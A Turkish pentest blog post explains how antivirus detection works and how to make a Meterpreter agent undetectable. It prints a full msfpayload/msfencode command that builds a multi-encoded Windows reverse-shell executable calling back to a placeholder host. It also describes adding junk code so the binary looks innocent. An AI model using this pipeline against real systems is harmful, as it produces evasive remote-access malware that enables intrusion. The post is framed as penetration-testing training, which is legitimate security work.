Antivirus Bypass Teknikleri ve Tanınmaz Meterpreter Ajanı Oluşturma

Pentest çalışmalarında, hedef sistemi ele geçirdikden sonra yetkisiz işlevleri yerine getirecek bir payload’a ihtiyaç duyulur. Bu bir casus yazılım olabilir (trojan), uzakdan yönetim aracı olabilir (rat) veya hedef sistemde kod/komut çalıştırmanıza olanak sağlayan bir araç   (shellcode exec) olabilir.

BGA pentest ekibi, pentest çalışmalarında ve eğitimlerde multi platform çalışan ve gelişmiş özellikleri olan meterpreter payloadını sıklıkla tercih etmektedir.

Antivirus veya sezgisel antilogger’lar bu tür durumlarda işinizi zorlaştırabilir. Bu yazıda, antiviruslerin çalışma prensiblerine kısaca değinilmiş ve meterpreter ajanının antivirusler tarafından tanınmaz hale getirilmesi teorik olarak anlatılmıştır. Burada anlatılan yöntemler, backtrack 5 r2 üzerinde test edilmiştir ve meterpreter için geçerlidir fakat bu mantık  benzeri yazılımlar içinde uygulanabilir !

Antivusler Nasıl Çalışır ?

  • İmza tabanlı (Signature Based)
  • ShellCode Analizi
  • Sezgisel (heuristic)

İmza tabanlı (Signature Based)

  • Her imza bir zararlının karakteristik özelliklerini barındırır.
  • Tespit edilmiş viruslere ait imzaları içerir.
  • Hızlı sonuç verir.
  • Yeni nesil viruslere karşı savunmasızdır.
  • Zararlının tespit edilmesi, veritabanına konulması ve son kullanıcıya ulaşması yeni nesil tehtitler karşısında ciddi zaman kaybı yaşatmakdadır.

Sezgisel (heuristic)

  • Zararlıyı, sezgisel ve gerçek zamanlı davranış analizi yaparak tespit etmeye çalışır.

Bu çalışma, metasploit framework projesinde bulunan farklı encoderları kullanarak meterpreter içeriğini antivirusler tarafından tanınmaz yapıp, ayrıca masum bir uygulama imajı kazandırmak üzere bir kaç satır kod eklemektedir.

Metasploit Multi Encoder Kullanımı

./msfpayload windows/shell/reverse_tcp  LHOST=1.1.1.1 LPORT=4443 EXITFUNC=thread R |  ./msfencode -e x86/shikata_ga_nai -c 2 -t raw | ./msfencode -e x86/jmp_call_additive -c 2 -t raw | ./msfencode -e x86/call4_dword_xor  -c 2 -t raw | ./msfencode -e x86/jmp_call_additive -c 2 -t raw | ./msfencode -e x86/call4_dword_xor  -c 2 -t exe -o ajan007.exe

Raw olarak encoderlara gönderilen meterpreter içeriği, encoding işleminden  sonra hex olarak bir dosyaya aktarılır ve ardından bir kaç satır çöp kod (c++ kodu)   eklenerek binary dosya oluşturulur.

Bu uygulamayı yapan v5.sh scriptinden bir ekran görüntüsü

Uygulama eğitim ve test amaçlı geliştirilmiştir, kaynak kodu BGA eğitimine katılanlara ve pentest yapılan firmalara verilmektedir.

Bir kaç genel özelliği;

– Farklı bağlantı türlerine sahip (bind,reverse_http/https/tcp)  meterpreter payloadı oluşturabilmektedir.

– 32 bit 64 bit sistemlerde çalışabilmektedir.

– Linux, Windows ve *BSD ailesinden her türlü işletim sisteminde çalışabilmektedir.

– Unix ve Windows uygulamalarına enfekte olabilmektedir.

– Autorun Script Desteği

– ….

Yazar:

Ozan UÇAR

ozan.ucar@bga.com.tr